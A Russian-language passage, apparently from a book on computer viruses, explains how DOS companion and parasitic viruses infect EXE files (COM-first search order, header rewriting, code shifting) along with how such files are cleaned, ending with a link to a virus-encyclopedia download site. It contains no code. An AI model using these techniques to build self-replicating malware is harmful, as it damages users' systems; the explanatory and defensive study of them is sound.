размножается следующим образом. Для каждого ин- фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ-файл с та- ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет за- пустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Поль- зователь же думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник обезвредить довольно просто - достаточно удалить СОМ-файл. Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например, файл может получить расширение DAT (файл данных) или OVL (про- граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление полу- чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги- нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по- скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол- няет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лече- ние файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает. Вирусы, внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфици- руемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл. Способы заражения ЕХЕ-файлов Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохране- нием оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вмес- то задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибав- ляет к его сегментной компоненте значение регистра DS или ES (полу- ченное при старте вируса) и передает управление на полученный адрес. Следующий способ - внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него - код инфицируемой программы. Таким образом, код программы как бы "сдвигается" в файле на длину кода вируса. Отсюда и название способа - "способ сдвига". При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо- ту, временный файл удаляется. Если при создании вируса не применя- лось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой про- граммы (а ведь бывают экземпляры размером больше 1Мбайт).
**************************************************************
http://cd-box.com.ru/cd7.htm ЭНКЦИКЛОПЕДИЯ ВИРУСОВ (ВОЗМОЖНОСТЬ СКАЧАТЬ